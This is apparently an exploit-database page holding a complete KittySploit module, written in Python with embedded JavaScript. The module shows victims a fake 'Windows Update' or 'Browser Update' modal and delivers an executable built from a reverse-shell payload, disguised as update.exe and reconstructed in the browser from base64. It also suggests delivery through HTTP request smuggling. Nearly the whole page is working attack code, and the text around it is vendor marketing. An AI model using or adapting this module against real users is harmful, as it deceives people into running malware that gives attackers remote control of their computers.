Lucene search
+L

Fake Update Notification (Payload + HTTP Smuggling)

🗓️ 31 Jan 2026 22:16:23Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Fake update notification for Browser.ALL on Platform.WINDOWS enables payload delivery.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
Fake Update Notification + payload delivery.
Exe is generated from the payload (PE-capable payload, e.g. windows_x64_shell_stage with generate_exe)
or from exe_path if set. Exe is base64-encoded and reconstructed in JS (Blob + download).
No second HTTP request. Can be combined with HTTP request smuggling.
"""

from kittysploit import *
from lib.protocols.http.http_server import Http_server
from core.utils.function import pythonize_path
import json
import base64
import os
import tempfile
import importlib
from pathlib import Path


class Module(BrowserExploit, Http_server):

    __info__ = {
        "name": "Fake Update Notification (Payload + HTTP Smuggling)",
        "description": "Fake 'Update available' modal. Exe generated from payload (PE) or exe_path, rebuilt in JS (base64→Blob→download). Usable via HTTP smuggling.",
        "author": "KittySploit Team",
        "browser": Browser.ALL,
        "platform": Platform.WINDOWS,
        "session_type": SessionType.BROWSER,
        "references": [
            "https://portswigger.net/web-security/request-smuggling",
            "https://portswigger.net/web-security/request-smuggling/exploiting",
        ],
        "payload": {
            "default": "payloads/singles/cmd/windows/windows_x64_shell_stage",
            "arch": Arch.X64,
            "platform": Platform.WINDOWS,
            "category": PayloadCategory.SINGLE,
        },
    }

    url = OptString("", "URL to inject the fake update (empty = current page)", False)
    theme = OptChoice("windows", "Update theme", False, ["windows", "browser"])
    exe_path = OptFile("", "Path to .exe to deliver (optional; else PE is generated from payload)", False)
    download_name = OptString("update.exe", "Filename for the downloaded exe", False)

    def run(self):
        use_exe_mode = False
        exe_b64 = ""
        download_filename = (str(self.download_name).strip() or "update.exe").replace("\\", "").replace("/", "")

        # 1) Optional override: user-provided exe file
        if getattr(self, "exe_path", None):
            path_val = getattr(self.exe_path, "value", None) or getattr(self.exe_path, "_default_display_value", None) or str(self.exe_path)
            if path_val and os.path.isfile(path_val):
                try:
                    with open(path_val, "rb") as f:
                        exe_b64 = base64.b64encode(f.read()).decode("ascii")
                    use_exe_mode = True
                except Exception as e:
                    print_error(f"Cannot read exe file: {e}")
            elif path_val:
                print_warning(f"exe_path not a file: {path_val}. Will try to generate PE from payload.")

        # 2) Generate PE from payload (payload must support generate_exe, e.g. windows_x64_shell_stage)
        if not use_exe_mode:
            exe_bytes = self._generate_pe_from_payload()
            if exe_bytes:
                exe_b64 = base64.b64encode(exe_bytes).decode("ascii")
                use_exe_mode = True

        if not use_exe_mode:
            print_error(
                "No exe available. Set exe_path to an existing .exe or use a payload that supports PE generation "
                "(e.g. payloads/singles/cmd/windows/windows_x64_shell_stage with generate_exe=True)."
            )
            return False

        theme = str(self.theme).strip().lower() if self.theme else "windows"
        if theme == "browser":
            title = "Browser Update"
            subtitle = "A new version is available"
        else:
            title = "Windows Update"
            subtitle = "Important update available"
        msg_text = "Click Install now to download and apply the update."
        js_code = self._js_exe_blob(exe_b64, download_filename, title, subtitle, msg_text)

        if self.url:
            self.send_js(f"window.location.href = '{self.url}';")
            import time
            time.sleep(1)

        result = self.send_js(js_code)
        if result:
            print_success("Fake Update modal injected.")
            print_success(f"Exe will be reconstructed in JS and downloaded as '{download_filename}' (no extra HTTP request).")
            print_status("For HTTP smuggling: use auxiliary/scanner/http/http_smuggling to find targets, then inject this response.")
            return True
        print_error("Failed to inject Fake Update modal.")
        return False

    def _generate_pe_from_payload(self):
        """Generate a PE from the current payload if it supports generate_exe (e.g. windows_x64_shell_stage). Returns exe bytes or None."""
        payload_path_value = self._get_payload_path_without_generate()
        if not payload_path_value or not payload_path_value.strip():
            return None
        try:
            payload_path = pythonize_path(payload_path_value)
            module_path = ".".join(("modules", payload_path))
            payload_module = getattr(importlib.import_module(module_path), "Module")()
            if getattr(self, "framework", None):
                payload_module.framework = self.framework

            if not hasattr(payload_module, "generate_exe") or not hasattr(payload_module, "output_dir"):
                return None

            # Copy lhost/lport and transform from exploit to payload
            for opt in ("lhost", "lport", "transform", "obfuscator"):
                if hasattr(self, opt) and hasattr(type(payload_module), opt):
                    v = getattr(self, opt)
                    val = getattr(v, "value", v) if v is not None else None
                    if val is not None:
                        setattr(payload_module, opt, val)

            tmpdir = tempfile.mkdtemp(prefix="ks_pe_")
            try:
                payload_module.output_dir = tmpdir
                payload_module.generate_exe = True
                payload_module.generate()
                exe_path = Path(tmpdir) / "shell.exe"
                if exe_path.is_file():
                    return exe_path.read_bytes()
                return None
            finally:
                try:
                    if (Path(tmpdir) / "shell.exe").exists():
                        (Path(tmpdir) / "shell.exe").unlink()
                    os.rmdir(tmpdir)
                except Exception:
                    pass
        except Exception as e:
            print_warning(f"PE generation from payload failed: {e}")
            return None

    def _get_payload_path_without_generate(self):
        """Get payload module path without triggering OptPayload.__get__ (which calls generate())."""
        payload_option = getattr(type(self), "payload", None)
        if not payload_option or not hasattr(payload_option, "_instance_values"):
            return None
        instance_id = id(self)
        if instance_id in payload_option._instance_values:
            return payload_option._instance_values[instance_id].get("value")
        return getattr(payload_option, "_default_value", None)

    def _js_exe_blob(self, exe_b64: str, download_name: str, title: str, subtitle: str, msg_text: str) -> str:
        # Escape for JS string: base64 can contain +/=. We pass as JS string literal (backslash-escape quotes and backslashes).
        safe_b64 = exe_b64.replace("\\", "\\\\").replace("'", "\\'").replace("\n", "\\n").replace("\r", "\\r")
        return f"""
        (function() {{
            function base64ToArrayBuffer(base64) {{
                var binary_string = window.atob(base64);
                var len = binary_string.length;
                var bytes = new Uint8Array(len);
                for (var i = 0; i < len; i++) {{
                    bytes[i] = binary_string.charCodeAt(i);
                }}
                return bytes.buffer;
            }}
            var fileB64 = '{safe_b64}';
            var downloadName = {json.dumps(download_name)};

            function triggerDownload() {{
                var blob = new Blob([base64ToArrayBuffer(fileB64)]);
                var a = document.createElement('a');
                a.href = URL.createObjectURL(blob);
                a.download = downloadName;
                a.style.display = 'none';
                document.body.appendChild(a);
                a.click();
                document.body.removeChild(a);
                URL.revokeObjectURL(a.href);
            }}

            function injectModal() {{
                if (!document.body) return false;
                if (document.getElementById('ksFakeUpdateOverlay')) return true;
                var overlay = document.createElement('div');
                overlay.id = 'ksFakeUpdateOverlay';
                overlay.style.cssText = 'position:fixed;inset:0;z-index:2147483647;background:rgba(0,0,0,0.5);display:flex;align-items:center;justify-content:center;font-family:Segoe UI,sans-serif;';
                var card = document.createElement('div');
                card.style.cssText = 'background:#fff;border-radius:8px;box-shadow:0 8px 32px rgba(0,0,0,0.2);width:380px;max-width:95vw;overflow:hidden;';
                var header = document.createElement('div');
                header.style.cssText = 'background:linear-gradient(180deg,#0078d4 0%,#106ebe 100%);color:#fff;padding:20px 24px;font-size:18px;font-weight:600;';
                header.textContent = '{title}';
                var body = document.createElement('div');
                body.style.cssText = 'padding:24px;color:#333;';
                var sub = document.createElement('div');
                sub.style.cssText = 'font-size:14px;color:#666;margin-bottom:16px;';
                sub.textContent = '{subtitle}';
                var msg = document.createElement('p');
                msg.style.cssText = 'font-size:13px;line-height:1.5;margin-bottom:20px;';
                msg.textContent = '{msg_text}';
                var btn = document.createElement('button');
                btn.textContent = 'Install now';
                btn.style.cssText = 'width:100%;padding:12px 20px;background:#0078d4;color:#fff;border:none;border-radius:6px;font-size:14px;font-weight:600;cursor:pointer;';
                btn.onmouseover = function() {{ this.style.background = '#106ebe'; }};
                btn.onmouseout = function() {{ this.style.background = '#0078d4'; }};
                var clicked = false;
                btn.addEventListener('click', function(e) {{
                    e.preventDefault();
                    if (clicked) return;
                    clicked = true;
                    triggerDownload();
                    btn.textContent = 'Downloading...';
                    btn.style.background = '#107c10';
                    setTimeout(function() {{
                        body.innerHTML = '<div style="text-align:center;padding:20px;color:#107c10;font-weight:600;">Update downloaded. Run the file to install.</div>';
                    }}, 500);
                }});
                body.appendChild(sub);
                body.appendChild(msg);
                body.appendChild(btn);
                card.appendChild(header);
                card.appendChild(body);
                overlay.appendChild(card);
                document.body.appendChild(overlay);
                return true;
            }}
            if (!injectModal()) {{
                if (document.readyState === 'loading') document.addEventListener('DOMContentLoaded', injectModal);
                else window.addEventListener('load', injectModal);
            }}
            return 'Fake Update (exe blob) injected';
        }})();
        """

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2026 11:31Current
5.8Medium risk
Vulners AI Score5.8
1